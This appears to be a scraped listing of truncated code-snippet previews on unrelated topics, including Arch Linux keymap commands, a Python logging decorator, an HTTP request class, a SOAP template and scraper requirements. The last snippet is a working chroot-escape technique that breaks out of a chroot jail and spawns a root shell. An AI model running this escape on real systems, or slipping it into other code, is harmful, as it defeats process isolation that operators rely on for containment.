First set up your keyboard layout. For example, in Spanish:
# loadkeys es
For a list of all acceptable keymaps:
# localectl list-keymaps
def logger(function): | |
def wrapper(*args, **kwargs): | |
print(f"----- {function.__name__}: start -----") | |
output = function(*args, **kwargs) | |
print(f"----- {function.__name__}: end -----") | |
return output | |
return wrapper |
from json import dumps | |
from urllib import parse | |
from http.client import HTTPSConnection | |
class Request: | |
def __init__(self, url: str = '127.0.0.1') -> None: | |
self.url = url | |
self.local = None |
def is_bool(self, value: str) -> str: | |
bool_list = [ | |
("on", True), | |
("true", True), | |
("True", True), | |
("1", True), | |
("yes", True), | |
("ok", True), | |
("y", True), | |
("Y", True), |
""" | |
beautifulsoup4==4.11.1 | |
lxml==4.9.2 | |
""" | |
_file = """<?xml version="1.0"?> | |
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> | |
<soap:Header> | |
</soap:Header> | |
<soap:Body> |
class Schema: | |
"""Class Schema | |
""" | |
attrs = [ | |
('attributes', {}), | |
('empty_request', None), | |
('model_class', None) | |
] | |
class Meta: |
""" | |
Command: | |
python update.py template/core core | |
Args: | |
First argument -> Local Path | |
Second argument -> Host Path | |
Requirements: | |
pip install python-dotenv |
""" | |
selenium==4.6.0 | |
webdriver-manager==3.8.4 | |
packaging==21.3 | |
beautifulsoup4==4.11.1 | |
""" | |
from time import sleep | |
from bs4 import BeautifulSoup |
import os | |
os.mkdir("chroot-dir") | |
os.chroot("chroot-dir") | |
for i in range(1000): | |
os.chdir("..") | |
os.chroot(".") | |
os.system("/bin/bash") |